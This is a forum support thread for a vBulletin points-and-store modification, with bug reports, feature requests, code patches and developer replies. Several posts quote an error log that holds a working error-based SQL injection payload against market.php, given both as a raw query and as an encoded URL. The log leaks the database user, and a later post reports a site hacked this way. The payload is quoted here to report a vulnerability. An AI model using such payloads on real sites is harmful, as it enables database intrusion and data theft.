o.o i dunno the cuz of this problem but i was running the beta3 and it was working alright but i uninstalled it first and i done a fresh install for the Beta 4 version

my vbversion is 4.0.3

thanks :)

[gamerzhut]

can you make the gift system similar to facebook gifts? Thanks for fixing the bugs.

[appleballs]

When purchasing items from the store there is no confirmation of order message sent to the member. More importantly, when an item has been shipped there is no notification sent to the member with the tracking information. Is there some setting we are missing?

[TheMayhem]

When purchasing items from the store there is no confirmation of order message sent to the member. More importantly, when an item has been shipped there is no notification sent to the member with the tracking information. Is there some setting we are missing?

The tracking information is actually on the Purchases link underneath the navbar. If you go there and select the Store transactions you can view your purchases you've done in the store. Once an admin has shipped a product, they can add the URL to the tracking website that users can use.

[adc-arab]

can someone help me out about the issue in my above reply I really want the point market in my forum to work :( why the beta 3 works fine and beta 4 doesn't work :( P.S: i use vbcredit )

add: the bank works fine market_bank.php i can access it and no problem with it the only problem when i go to market.php i get the error of Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /home/XXXXX/public_html/vb/includes/class_core.php(4032) : eval()'d code on line 54 Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /home/XXXXX/public_html/vb/includes/class_core.php(4032) : eval()'d code on line 54

Help plz :<

[appleballs]

The tracking information is actually on the Purchases link underneath the navbar. If you go there and select the Store transactions you can view your purchases you've done in the store. Once an admin has shipped a product, they can add the URL to the tracking website that users can use.
Thanks for the info. We had the Purchase History permission turned off so we weren't see the "Purchases" link.

In the list of purchased store items the tracking url is not listed. Also, is there not a PM sent to a member when their store item is purchased? Somehow the member must be notified of the tracking url.

[Webrunner]

Did you manage to create the plug-in for colors etc. in social group posts?
My users are really asking for this....

[TheMayhem]

No but I haven't forgotten and absolutely promise it will be in the next Beta. Graduating in 2 days so everything is a little hectic on trying to figure out what is next.

[Pirat3]

Does this by any chance work with the 3.8.x vB forums? I really don't like vB4 as I have a bunch of other custom addons there.

Is it possible to modify source to get it to work w/ vb3.8?

[eddied316]

I'm using 3.1.0 and tested out the paypal function, but it doesnt seem to work.

I got the email saying i've received a payment, but that was it. No PM Notification, and the buyer never got their points.

Any help?

[monkeyboy1916]

I'd like to request that the "Change Username" option uses the default logging in the AdminCP to handle username changes if possible.

If you change a username via the AdminCP, it will log that change under "View change history", but when someone changes their username via this mod, it doesn't log it, and I'm pretty sure the mod itself doesn't log that either.

It's not easy to keep track of previous usernames without that, and if possible, I'd really like to see it in a future version. =)

[Yux1000]

is there the same addon für vb 3.8 ? i search fpr a mod where u can buy avatars, color names ect with credits for vb 3.8

[TheMayhem]

I'd like to request that the "Change Username" option uses the default logging in the AdminCP to handle username changes if possible.

If you change a username via the AdminCP, it will log that change under "View change history", but when someone changes their username via this mod, it doesn't log it, and I'm pretty sure the mod itself doesn't log that either.

It's not easy to keep track of previous usernames without that, and if possible, I'd really like to see it in a future version. =)

I actually wasn't aware that the ACP had that option. Now that I know it exists I will definately add it :)

[Smak Runner 2K]

I can't get the NAVBAR link to show up for the life of me.

http://www.clevelandsportsforums.com
VBCredits II

Everything is set to 'yes', should be showing up. Help? I like the mod, but if I can't see it...

[PokeCenter]

The gamble Center is nowhere in sight for me.

[monkeyboy1916]

I've come across a problem..

A few of my members like to use special characters in their usernames, and a few have already registered with special characters in their username through the normal registration system, and they work fine, but, when someone changes their username to include these special characters with the Point Market system.. Something weird happens.

Here is the example I encountered:

Someone had changed their username to "♪Lex<3Yaoi♪", and once they logged out, they were un-able to log back in. I then searched for that exact username via the AdminCP, and it returned no results, but.. when searching for just the "Lex" part of the name, the search found it, and it displayed exactly as they said it did, the same exact name I typed earlier that showed no results.

I'm going to take a guess and assume it's some mixup between the actual character and the html to display the character.

If this can't be fixed to allow the special characters to work properly, then could there be a way to disable special character names only with this mod?

Thanks.

[TheMayhem]

I've come across a problem..

A few of my members like to use special characters in their usernames, and a few have already registered with special characters in their username through the normal registration system, and they work fine, but, when someone changes their username to include these special characters with the Point Market system.. Something weird happens.

Here is the example I encountered:

Someone had changed their username to "♪Lex<3Yaoi♪", and once they logged out, they were un-able to log back in. I then searched for that exact username via the AdminCP, and it returned no results, but.. when searching for just the "Lex" part of the name, the search found it, and it displayed exactly as they said it did, the same exact name I typed earlier that showed no results.

I'm going to take a guess and assume it's some mixup between the actual character and the html to display the character.

If this can't be fixed to allow the special characters to work properly, then could there be a way to disable special character names only with this mod?

Thanks.

I think that's cause how I am handling it with the form. I made some errors in how I stripped and add slashes. I'll try and apply a fix for the next release.

[PokeCenter]

The gamble Center is nowhere in sight for me.

About this Mayhem?

[Smak Runner 2K]

Any advice for my issue?

[monkeyboy1916]

I think that's cause how I am handling it with the form. I made some errors in how I stripped and add slashes. I'll try and apply a fix for the next release.

Thank you!

[TheMayhem]

A final gold version is going to be released within the next 36 hours.

[BCP Hung]

A final gold version is going to be released within the next 36 hours.
Waiting for gold version, I like your mods !

[monkeyboy1916]

I feel bad for asking about another problem I might be having, but, well.. I'm mostly curious about how you prefer this functionality yourself.

For my setup, I use secondary usergroups to override some permissions, and for this mod, secondary usergroup settings don't seem to override the default for my regular members.

For example, for Contibutors to my forum, they'll get a discount, but they're only a secondary usergroup ontop of the default registered users group, and I'd like them to have a discount without having to switch everyone to primary usergroups.

Could it be possible for secondary usergroup permissions to override the primary for the Market?

[DigitalDark]

The Mayhem can you add an option to set max purchases per item? Example: I want that a user can change his name 1 time per month. Or, Buy a color name only 3 times per month...

It's possible?

It would be very interesting for prevent trolling actions, and take in care the value of points.

Thanks.

[Muazam]

Database error in vBulletin 4.1.3:

Invalid SQL:
SELECT * from market_items where `marketid` = 16 AND (SELECT 3794 FROM(SELECT COUNT(*),CONCAT(CHAR(58,119,114,108,58),(MID((IFNU LL(CAST(CURRENT_USER() AS CHAR),CHAR(32))),1,50)),CHAR(58,119,115,101,58),FL OOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a);

MySQL Error : Duplicate entry ':wrl:root@localhost:wse:1' for key 1
Error Number : 1062
Request Date : Sunday, May 15th 2011 @ 03:22:53 AM
Error Date : Sunday, May 15th 2011 @ 03:22:53 AM
Script : /market.php?do=cat&id=16%20AND%20%28SELECT%203794%20FROM%28SELECT%20C OUNT%28%2A%29%2CCONCAT%28CHAR%2858%2C119%2C114%2C1 08%2C58%29%2C%28MID%28%28IFNULL%28CAST%28CURRENT_U SER%28%29%20AS%20CHAR%29%2CCHAR%2832%29%29%29%2C1% 2C50%29%29%2CCHAR%2858%2C119%2C115%2C101%2C58%29%2 CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20informati on_schema.tables%20GROUP%20BY%20x%29a%29


This is bad right?

[Successfulsteps]

This is nice, but I'd like to add Bingo cards. I would really like it if they could pick from cards 1-200, with images. And then it send them a PM with the images of the cards they bought, 3 limited per game. And then when the supplies get low, we could load the images of cards #'s numbers used up. Is this possible?

Also, does this work in 4.1.3 release?

[Smak Runner 2K]

OK, well, I've asked for help twice and have been ignored. Can't get the navbar link to show up. Tried everything. Guess I'm not important enough to even get a nod an a "I'll look into it" or whatever. Thanks.

[Pionex]

when trying to use the lottery I receive this error:

Fatal error: Cannot use object of type mysqli_result as array in /home/admin/domains/mysite.com/public_html/pointmarket/gamble_access.php on line 213

[janvm]

Where can i find a table which shows me what have user buyed and where i can delete buyed items and more?

[janvm]

Also the Option how much pecent a usergrp gets discount does not function.

[TheMayhem]

OK, well, I've asked for help twice and have been ignored. Can't get the navbar link to show up. Tried everything. Guess I'm not important enough to even get a nod an a "I'll look into it" or whatever. Thanks.

I missed your post the first time, sorry. I thought about it and I am pretty sure that it is related to compatibility with another modification. Try disabling all other modifications and see if that allows for it to show up. Also make sure that you aren't using any customized templates related to the navbar &/or Point Market as that can throw it off. Finally, you must make sure your market settings has the navbar option enabled. Your the only person to say that it won't work for them that's why I'm thinking it's something directly related to your forum & hacks rather than an issue with the market.

[Pionex]

when trying to use the lottery system:

Fatal error: Cannot use object of type mysqli_result as array in /home/admin/domains/mysitecom/public_html/pointmarket/gamble_access.php on line 213

[Smak Runner 2K]

Got the navbar working (conflict) - Thanks for the advice. Sorry I got a little heated...Just frustrated man.

New issue. When someone tries to purchase a created gift, the following error message appears:

Warning: include_once([path]/pointmarket/gift_purchase.php) [function.include-once]: failed to open stream: No such file or directory in [path]/market.php on line 436

Warning: include_once() [function.include]: Failed opening '[path]/pointmarket/gift_purchase.php' for inclusion (include_path='.:/usr/local/php5/lib/php') in [path]/market.php on line 436

[TheMayhem]

OK, well, I've asked for help twice and have been ignored. Can't get the navbar link to show up. Tried everything. Guess I'm not important enough to even get a nod an a "I'll look into it" or whatever. Thanks.

when trying to use the lottery system:

Fatal error: Cannot use object of type mysqli_result as array in /home/admin/domains/mysitecom/public_html/pointmarket/gamble_access.php on line 213

To fix this in Beta 4 or in gold do this:

Open gamble_access.php
Find

// Assign Coupons
$getcoupon = $vbulletin->GPC['cid'];
$cid = $db->query_read("SELECT * FROM " . TABLE_PREFIX . "market_coupons WHERE id ='$getcoupon'");


Change to:

// Build Coupon
$getcouponid = $vbulletin->input->clean_gpc('g', 'cid', TYPE_UINT);
if ($getcouponid > 0) {
$cid = $vbulletin->db->fetch_array($vbulletin->db->query_read("SELECT * from " . TABLE_PREFIX . "market_coupons where id ='".addslashes($getcouponid)."'"));
} else {
$cid['id'] = 0;
}

[Pionex]

fixed-
Thank you.

[Smak Runner 2K]

Nevermind...downloaded new version. all fixed

[TheMayhem]

Nevermind...downloaded new version. all fixed

Which modification didn't it work with properly outta curiosity? That way I know for future issues with other members. And no biggy I know how frustrating it can be to have something not work the way it's supposed to... happens to me all the time when I code :P

[Smak Runner 2K]

Which modification didn't it work with properly outta curiosity? That way I know for future issues with other members. And no biggy I know how frustrating it can be to have something not work the way it's supposed to... happens to me all the time when I code :P

Honestly I don't know, because I uninstalled everything - installed Point Market first, and then about 60% of what was running before after. I took the liberty to cut down on the crap.

[TheMayhem]

Official 3.1.0 Gold Post

I think I spent 9 months working on the 3.1x series and it feels great to finally make this post. Over the past half year and beyond, I've set out to create the most powerful point/store system that has ever been available at anytime during the existance of forum hacks. Based on your feedback as users of this modification, I finally feel that the Point Market is stable enough to be labled gold. What's gold? This is the finished product of what I wanted from the 3.1x series. I feel that the remaining bugs are minimal enough that no real big issues should exist.

I should first note that this upgrade IS REQUIRED!!! Any version before this (even the 3.0 series) needs to upgrade to this series. There is just too many features, changes, and tweaks over the history of the market for you not to upgrade. In addition in this final gold release, there was one major security fix that had to be addressed. Users NEED to upgrade to this version.

I want to thank all users for their patience. I can now resume scripting the 3.1x series with patches and new features. If you are interested in a branded free option, you are more then welcome to private message me for details.

~Brad

[CardMafia]

Uninstalled.

[ESKORPION]

Hello,

I have a problem and need your help. I have installed kbank and Point Market now but I don't know how make to work.

Thanks!

[Kraxell]

Uninstalled like Card+++++.

[TheMayhem]

Hello,

I have a problem and need your help. I have installed kbank and Point Market now but I don't know how make to work.

Thanks!

You need to use the point field that kbank stores in the user table as the primary point field name within the Market settings. After that you should edit all usergroup permissions to enable it for whoever you want to be able to access the market. Then it will work.

Uninstalled like Card+++++.

I'm not really sure why you'd uninstall it. The absolute only thing different about this version is there is a copyright notice on the Point Market helping protect it. People were stealing the modification on other websites, claiming they created it, and allowing others to download it (sometimes charging them). I wasn't okay with that and it's very discouraging as a web developer. Plus I needed to find a way to allow me to not have to get a second job so I could still have time to work on this mod. Otherwise I was going to have to sell the modification and discontinue it :( It's still completely a full powered completeversion and I've kept my pledge that I always have about not going to a "lite" series like competitor modifications. Every feature that is on another site can be found here on vb.org :)

[Cru_Jones83]

Sorry, I looked a few pages back and didn't see an answer to this. Is this supported at all in 4.1.3?

[Special Pages]

I used to use this mod. This is a great one. Thanks!

[CardMafia]

You need to use the point field that kbank stores in the user table as the primary point field name within the Market settings. After that you should edit all usergroup permissions to enable it for whoever you want to be able to access the market. Then it will work.



I'm not really sure why you'd uninstall it. The absolute only thing different about this version is there is a copyright notice on the Point Market helping protect it. People were stealing the modification on other websites, claiming they created it, and allowing others to download it (sometimes charging them). I wasn't okay with that and it's very discouraging as a web developer. Plus I needed to find a way to allow me to not have to get a second job so I could still have time to work on this mod. Otherwise I was going to have to sell the modification and discontinue it :( It's still completely a full powered completeversion and I've kept my pledge that I always have about not going to a "lite" series like competitor modifications. Every feature that is on another site can be found here on vb.org :)

I understand your position. It just seems to be a bit overboard imo. If I find myself looking to invest in a mod like this, I may reinstall and pay for the branding removal. Great mod though.

[Muazam]

It's not secure. Mysql Injections below:

Database error in vBulletin 4.1.3:

Invalid SQL:
SELECT * from market_items where `marketid` = 16 AND (SELECT 3794 FROM(SELECT COUNT(*),CONCAT(CHAR(58,119,114,108,58),(MID((IFNU LL(CAST(CURRENT_USER() AS CHAR),CHAR(32))),1,50)),CHAR(58,119,115,101,58),FL OOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a);

MySQL Error : Duplicate entry ':wrl:root@localhost:wse:1' for key 1
Error Number : 1062
Request Date : Sunday, May 15th 2011 @ 03:22:53 AM
Error Date : Sunday, May 15th 2011 @ 03:22:53 AM
Script : /market.php?do=cat&id=16%20AND%20%28SELECT%203794%20FROM%28SELECT%20C OUNT%28%2A%29%2CCONCAT%28CHAR%2858%2C119%2C114%2C1 08%2C58%29%2C%28MID%28%28IFNULL%28CAST%28CURRENT_U SER%28%29%20AS%20CHAR%29%2CCHAR%2832%29%29%29%2C1% 2C50%29%29%2CCHAR%2858%2C119%2C115%2C101%2C58%29%2 CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20informati on_schema.tables%20GROUP%20BY%20x%29a%29

This is not safe at all, I'm not sure what the code does. But it looks like its reading the account table? Please look into it.

[Will.Spencer]

When we edit the store item there is an "Instructions" textarea, saying: "This is the instructions that the users will follow in order to enable the market item."

The trouble is, when we enter anything there it doesn't seem to actually display anywhere in the front-end, not on the page of the item, nor anywhere after the actual purchase. What's up with that?

Thanks

[TheMayhem]

I understand your position. It just seems to be a bit overboard imo. If I find myself looking to invest in a mod like this, I may reinstall and pay for the branding removal. Great mod though.

Trust me it's very discouraging for me as the developer to go out and find other non sanctioned vb sites where they were charging people for my mod or taking credit as creating the modification. This was the only way I could figure out how to limit there stealing of it or at least be able to track them if they purchase a branding removal version.

It's not secure. Mysql Injections below:

Database error in vBulletin 4.1.3:

Invalid SQL:
SELECT * from market_items where `marketid` = 16 AND (SELECT 3794 FROM(SELECT COUNT(*),CONCAT(CHAR(58,119,114,108,58),(MID((IFNU LL(CAST(CURRENT_USER() AS CHAR),CHAR(32))),1,50)),CHAR(58,119,115,101,58),FL OOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a);

MySQL Error : Duplicate entry ':wrl:root@localhost:wse:1' for key 1
Error Number : 1062
Request Date : Sunday, May 15th 2011 @ 03:22:53 AM
Error Date : Sunday, May 15th 2011 @ 03:22:53 AM
Script : /market.php?do=cat&id=16%20AND%20%28SELECT%203794%20FROM%28SELECT%20C OUNT%28%2A%29%2CCONCAT%28CHAR%2858%2C119%2C114%2C1 08%2C58%29%2C%28MID%28%28IFNULL%28CAST%28CURRENT_U SER%28%29%20AS%20CHAR%29%2CCHAR%2832%29%29%29%2C1% 2C50%29%29%2CCHAR%2858%2C119%2C115%2C101%2C58%29%2 CFLOOR%28RAND%280%29%2A2%29%29x%20FROM%20informati on_schema.tables%20GROUP%20BY%20x%29a%29

This is not safe at all, I'm not sure what the code does. But it looks like its reading the account table? Please look into it.

Your using Point Market version 3.0.1. Please upgrade to 3.1.0 and that will be fixed :)

[Kraxell]

People were stealing the modification on other websites, claiming they created it, and allowing others to download it (sometimes charging them). I wasn't okay with that and it's very discouraging as a web developer. Plus I needed to find a way to allow me to not have to get a second job so I could still have time to work on this mod. Otherwise I was going to have to sell the modification and discontinue it It's still completely a full powered completeversion and I've kept my pledge that I always have about not going to a "lite" series like competitor modifications. Every feature that is on another site can be found here on vb.org

The little note at the left-menu was not a problem but such a long text under the market is not fine. sure, i can delete it by myself in the market/bank.php but i know how many work such a hack cost.

[TheMayhem]

The little note at the left-menu was not a problem but such a long text under the market is not fine. sure, i can delete it by myself in the market/bank.php but i know how many work such a hack cost.

I'm always open to you guys coming up with a more appealing/visually pretty copyright notice if you can think of one I'll implement it as I always try to follow users advise with this mod and always have.




ANDDDDD.... since there has been relatively few bugs I am going to start working on new versions/features. I want to start adding more Forum Market Items so once again I am taking suggestions on what you guys would like to see :)

[Kraxell]

installed it again. is it allow to shorten the long notice to one row?

[fly]

And after this, I'll stop spamming - I swear.

suggestion: Ability to change a thread title

Here's a suggestion for a new item!

[TheMayhem]

installed it again. is it allow to shorten the long notice to one row?

Yeah if I can figure out how to reword everything into a one line notice. I have to think a bit before I release 3.1.1.

[TheMayhem]

I am letting people know that I completed 3.1.1 and will release it on June 8th. 3.1.1 features a new gift feature that allows for detailed information through the postbit (A clickable popup link) that shows information released to what a user has earned via gifts.

I've already begun working on 3.1.2, which I am very excited to say will feature these new forum market items:
Version 3.1.2 is coming out this week is a major forum item release. There are 7 New forum Market items:
- Upload Gift
- Change Thread Name
- Thread Glow
- Username Rainbow
- Usertitle Rainbow
- Upload Profile Picture
- Upload Signature Image

That will be released here on vb.org at the end of June. I might add some new lottery features in there too if I get time :)

[augrunt]

I don't think the Point Bank System (interest) is working... when I attempt to run the CRON manually via the Scheduled Tasks Manager, it throws up a lot of errors about not having the username/password to execute the query.

This also includes a few other scheduled tasks. They don't seem to use the vBulletin object to do the queries. $vb->query (or something like that) and just use mysql_query() without an actual connection to the database being established before it. Not from what I can see anyway.

[BayLee2]

Installed and loving it~!!!

[fly]

I am letting people know that I completed 3.1.1 and will release it on June 8th. 3.1.1 features a new gift feature that allows for detailed information through the postbit (A clickable popup link) that shows information released to what a user has earned via gifts.

I've already begun working on 3.1.2, which I am very excited to say will feature these new forum market items:
Version 3.1.2 is coming out this week is a major forum item release. There are 7 New forum Market items:
- Upload Gift
- Change Thread Name
- Thread Glow
- Username Rainbow
- Usertitle Rainbow
- Upload Profile Picture
- Upload Signature Image

That will be released here on vb.org at the end of June. I might add some new lottery features in there too if I get time :)

Thread title change?!?!?! I love ya!

[BayLee2]

I disabled this plugin. Twice now I've installed this and it's worked fine. After a few hours the forum will show this message and everything will get skewed and nothing will work right.

Warning: preg_match() [function.preg-match]: Compilation failed: nothing to repeat at offset 5 in [path]/includes/functions.php(1226) : eval()'d code on line 32

I've tried one by one disabling all plugns and found this one to be the cause of the error. If i overwrite and reinstall the program to the root folder it fixes it but everything needs to be set again and the error shows up again after about a few hours to day or so. Any idea what causes this and how I can fix it?

[Kraxell]

Hello,

i want to create an item whitout any function but i MUST select a function -.- is it possible to change it?

[LatinCrib]

Hello

can you tell me what I need to get this working I dont see no link on the nav bar and for wat is this or wat this can do

[kameraderie]

we installed Point Market System 3.1x and we are loving it. I don't know if this is a bug or not, but we noticed, in one of the forum items, Upload Avatar, in the payment page, there appears this message:

Note: The maximum size of your custom image is -1 by -1 pixels or -1 Bytes (whichever is smaller).

in effect no one can upload an image at all and the process aborts.

What can resolve this issue? I cannot seem to find how to change the point market setting for avatar size requirements.

Thank you in advance.

[rob01]

point market and vb4.1.4 = creates a sql conflict

MySQL Error : Unknown column 'user.market_username_color' in 'field list'

any idea?

thanks
robert

[augrunt]

Well, no one's responded to my issue as of yet... why are the crons failing? why are they not using the vb object to utilise the correct SQL information?

Also, is 4.1.4 compatible?

Suggestion
- Change your SQL queries to use the $vb->sql function instead.
- In the Bank, you aren't told what the maximum possible withdrawl is. Pretty hard when the interest is 1.95% to withdraw and you want to take out 15,000. I doubt many users will want to calculate it before attempting to do that. I can write up the code if you are willing to implement? :) -- Simple math function in PHP.

*edit*
I've just withdrawn 15,000 points and my experience level has not updated. It's completely missing.

Cheers,
augrunt

[rob01]

Known bugs:
For Vbulletin 4.1.4
(1) User online: sql bug error (#Error-link (https://vborg.vbsupport.ru/showpost.php?p=2205656&postcount=1885))

- all versions
- Withdraw & experience update (Error-link (https://vborg.vbsupport.ru/showpost.php?p=2205709&postcount=1886))
- preg_match() (Error-Link (https://vborg.vbsupport.ru/showpost.php?p=2204100&postcount=1881))

Suggestions:
- all versions
(1) maximum possible withdraw (link (https://vborg.vbsupport.ru/showpost.php?p=2205709&postcount=1886))

just writing some bugs,updates, in a more efficient way, i will try to update it asap.

btw, I'm not part of the mod dev team

[augrunt]

I think I've realised the problem here with my points not updating after withdrawl.

It is currently integrated with vBExperience. When I withdrew 15,000 points. vBExperience did it's count a few minutes later and subtracted the amount of points I withdrew (14,733~) for 'misc'.

I thought these were perfectly integrated? What gives? This would affect all versions I believe. I am still running off 4.1.3.

Cheers,
Steve

P.S. Good mod, members love it!

[Paul M]

FYI, an exploit was recently reported in this mod, however, upon checking, it was determined it does not exist in the released (gold) version. It was part of an old Alpha version. Please make sure you are running the current version.

[KHALIK]

I am using VB 4.1.4 version.
I upgraded to the GOLD paid version of 3.1.1

I get MySQL error messages (when clicked on Who's Online) while there are members online using fancy coloured usernames brought from the market.

Database error in vBulletin 4.1.4:

Invalid SQL:

SELECT IF(userid > 0, 1, 0) as isuser, COUNT(session.userid) as online_users
, user.market_username_color,
user.market_username_glow, market_username_subscript
FROM session as session

WHERE session.lastactivity > 1307906505



GROUP BY isuser;

MySQL Error : Unknown column 'user.market_username_color' in 'field list'
Error Number : 1054
Request Date : Sunday, June 12th 2011 @ 08:36:45 PM
Error Date : Sunday, June 12th 2011 @ 08:36:45 PM
Script : http://www.fragmasters.co.uk/online.php
Referrer : http://www.fragmasters.co.uk/forum.php

[bmc]

What is the closest modification (feature-wise, e.g. with the ability to purchase forum and username permissions) to this one that is compatible with vB 3.7.4?

[rob01]

any update to the vb4.1.4 errors? :S


and for vb3.7, i doubt you will be able to find one, there is one -> https://vborg.vbsupport.ru/showthread.php?t=246497&highlight=vbshop (but is for 3.8)

[haiduongbk]

Does it work with vbb 4.1.4 ?

[mmacrypt]

Does it work with vbb 4.1.4 ?

I would say no, it seems to be working but when I try to view "Who's Online", I get the SQL error. I'm sure it's an easy fix for the writer but I have to disable it for now.

[ProjectD]

Upgraded from 3.0.1 to this, and it instantly killed my forum. Every page was just blank white. No errors, no nothing. Luckily I backed up database before hand, and restoring that fixes it. Tried upgrading a second time just to make sure... and as soon as i import the .xml the forum goes blank, on every page. Running vb 4.1.1. Ah well, shoulda stuck to 3.0.1.

[8thos]

I would say no, it seems to be working but when I try to view "Who's Online", I get the SQL error. I'm sure it's an easy fix for the writer but I have to disable it for now.

Yeah same thing happened to me. Disabled for now.

[just.b.jealous]

@TheMayhem

I'm having an issue on my end and hopefully you can be of some help..

Some details 1st-
I'm currently using vBulletin 4.1.3PL1..
I'm no noob, I've been using vB since 3.8.3- so I'm used to my admincp, templates, plugins and what-nots.
I'm currently using vBExperience 4 Gold (The most current version at this time, I just installed it for this Mod.)
This is a new installation of Points Market, I've never even had the older versions installed. So I'm doing a fresh install of version 3.1.0.

So here's the problem/s I'm having..

In your README/installation file you state-

************************************************** *************************
Installation
************************************************** *************************

1. Upload all files from the upload folder to your forums directory.

2. Go to AdminCP -> Plugins & Products -> Manage Products ->
Add/Import Product and import: product-pointmarket.xml

3. The following folders must be Chmodded to 777 for uploading permissions:
/customavatars/
/images/smilies/
/images/pointmarket/store/

4. Edit the Point Market Settings and ensure that Point Field Name is set
to the correct user field name where your points are located.

5. Add Administrator permissions on the Settings & Staff Permission.

6. Edit all usergroup permissions. By default the Point Market system is
turned off for all usergroups. Please make sure all secondary usergroups
have been edited as well.


Steps 1-4, no problems there.

Step 5, I don't have "Settings & Staff Permission" located anywhere in my admincp.

It's not in "Administrator Permissions", it's not in "Usergroup manager", it's not in the regular "vbulletin settings/options", it's not on the "side pane" of the cp itself. Yes I'm a super-admin. User no 1. Also set that way in config.php.

Of course I can't complete step 6 until step 5 is completed. All market pages result in no permissions are set- you are not allowed here error (since step 5 was never finished).

Here's a picture someone else provided- showing the fields I'm missing completely. I'm actually missing both sections from the picture. I'm missing the whole "Point Market" section, and the "Point Market Bank" section. They're nowhere to be found.

https://vborg.vbsupport.ru/attachment.php?attachmentid=130096&d=1308227306


I've tried-

Deleting the files from the server, re-downloading them again... re-upload them and then re-import it. No success. Rebuilding my bitfields, no success. Installing with all other mods/products/plugins disabled except vBExperience (to insure no conflicts of other mods), no success.

I need some help or I've found a bug,.. any ideas/help is appreciated from those who reply back. Thanks peoples.

[RedTrinity]

Step 5, I don't have "Settings & Staff Permission" located anywhere in my admincp.

It's not in "Administrator Permissions", it's not in "Usergroup manager", it's not in the regular "vbulletin settings/options", it's not on the "side pane" of the cp itself. Yes I'm a super-admin. User no 1. Also set that way in config.php.

Of course I can't complete step 6 until step 5 is completed. All market pages result in no permissions are set- you are not allowed here error (since step 5 was never finished).


You don't have this (see attached screenshot)? That's where it should be..... :)

[Tinnie]

how do i fix this

SELECT IF(userid > 0, 1, 0) as isuser, COUNT(session.userid) as online_users
, user.market_username_color,
user.market_username_glow, market_username_subscript
FROM session as session

WHERE session.lastactivity > 1308226966

GROUP BY isuser;

MySQL Error : Unknown column 'user.market_username_color' in 'field list'
Error Number : 1054
Request Date : Thursday, June 16th 2011 @ 02:37:46 PM
Error Date : Thursday, June 16th 2011 @ 02:37:47 PM
Script : online.php
Referrer : forum.php
IP Address :
Username :
Classname :
MySQL Version : 5.1.43

[just.b.jealous]

You don't have this (see attached screenshot)? That's where it should be..... :)

Nope, I have neither of those 2 sections showing in the picture you provided.

I don't have the "Point Market" section, or the "Point Market Bank" section. I've even rebuilt bitfields in order to show any new changes and it still doesn't update with the sections I need. I do know that it's actually rebuilding the bits (from testing) and it's rebuilding the sidepane in admincp, but still no sections needed to update the permissions for this product.

EDIT: I have figured it all out. There was a missing file that somehow got broken in the download.

[mmacrypt]

how do i fix this

SELECT IF(userid > 0, 1, 0) as isuser, COUNT(session.userid) as online_users
, user.market_username_color,
user.market_username_glow, market_username_subscript
FROM session as session

WHERE session.lastactivity > 1308226966

GROUP BY isuser;

MySQL Error : Unknown column 'user.market_username_color' in 'field list'
Error Number : 1054
Request Date : Thursday, June 16th 2011 @ 02:37:46 PM
Error Date : Thursday, June 16th 2011 @ 02:37:47 PM
Script : online.php
Referrer : forum.php
IP Address :
Username :
Classname :
MySQL Version : 5.1.43

by waiting until the mod author fixes it, a few of us are having the same issues. This mod isn't working with 4.1.4.

[just.b.jealous]

by waiting until the mod author fixes it, a few of us are having the same issues. This mod isn't working with 4.1.4.

Same goes for vB version 4.1.3,.. I guess were waiting for the author to do another bug update.

[Smak Runner 2K]

I have two issues. First one is the 'Who's Online?' error with 4.1.4...but the other is how do I get the achievement to work with vbExperience? It doesn't seem to adding to users accounts when purchased...

[RedTrinity]

Ok, so I'm a little confused. If I want to offer features like changing user title and username etc. through the points market, do I need to disable the options first in the UserCP? Otherwise they are just going to do it for free via their UserCPs, instead of needing/spending points to do it through the market?

Will these options still work correctly through the market if the UserCP options are disabled via the ACP?

[rob01]

Problem: User Online sql
- Temporal solution: (for version vb4.1.4)
1) go to your plugins
2) search for Point Market: Users Online Colors Query
3) disable it

and that all!

is just a temporal fix.. I will try to post a solution asap

[Webrunner]

Mayhem, did you already find a solution for the colors in the social group discussions?

[just.b.jealous]

Is there a way for the Username Color to show on all pages? From what I am seeing it only shows in the posts, correct?

[SteveBoogie]

Thank you for clearing up the converter's "please complete all required fields" problem way earlier in the thread. This was killing me lol... people want to buy vCash at my board!

[RedTrinity]

The point field for VBCreditsII is still "credits", right?

I have it installed and running correctly, but for some reason I'm getting "The point field has been entered but no data exists in this field name." in the Market whenever I set my points field as "credits".

Help please :confused:

[DigitalDark]

Mayhem, did you already find a solution for the colors in the social group discussions?

I'm Having this problem. I think is the same that yours. Look at this:

http://www.emudigital.net/foro/groups/clan+ssb+latino+%5Boficial%5D.html

First discussion, the HTML code "<span glow...>" is appearing in last awnser.

There is any fix for that? Thanks.

[mmacrypt]

I'm surprised no fix for this yet. Mayhem must be really busy right now. This mod seems so close to being finished.

[Hall of Famer]

According to VB staff team, the point market system is not compatible with VB 4.1.4. Any way to fix this?

https://www.vbulletin.com/forum/showthread.php/383443-umm-this-bug...

[ivanov73]

Hello i install plugin all work corect only after i buy product from mi forum store i get this ERROR: DIV with ID "storeslideshow" not found on page product have uploaded all images and alslo in mi purchases store items i see date that F j, Y, g:i a any help Thanks Sory for mi english

[Reycer]

According to VB staff team, the point market system is not compatible with VB 4.1.4. Any way to fix this?

https://www.vbulletin.com/forum/showthread.php/383443-umm-this-bug...

huh?? Just do the fix mentioned above and it works just fine. I have it shut down to the public right now, but from what I can tell everything seems to be running smooth as ever.

Where exactly in that post that you linked to does it say that "The point market system is not compatible with VB4.1.4" ???? Just do the fix and it IS compatible.

[Hall of Famer]

What fix are you talking about?

[mmacrypt]

Yes, I would also like to see this "fix", I'm surprised no feedback from the author yet. Hope all is ok, my members were really starting to dig the bank system.

[jojojijijojo1]

Anyone else got his forum hacked by sql injection after installing this? my forum got hacked right away after installing this with sql injection.

[Reycer]

What fix are you talking about?

https://vborg.vbsupport.ru/showpost.php?p=2211193&postcount=1905

It works fine, I am using it.

[mmacrypt]

https://vborg.vbsupport.ru/showpost.php?p=2211193&postcount=1905

It works fine, I am using it.

Thank you, I'll try that in the morning.

[mmacrypt]

That did seem to fix mine also, thanks again mdelcour.

[Kotsu]

How do you Delete Store Items/Store Categories?

[stamos2003]

is there a way that the gift-message/donate-message appears as well in the automatic private message which is send for notification? :)

[runescapian]

I have been using your mod on my forum together with vbExperience. I don`t know whats wrong sometimes users get a negative points balance for no reason, and one of my members purchased points from our site with real money and ended up with a negative balance.

There must be a glitch in the mod somewhere because this shouldn`t be happening.

[craigbett]

Never mind I got it to work, :) Awesome mod btw!

[TimesOut]

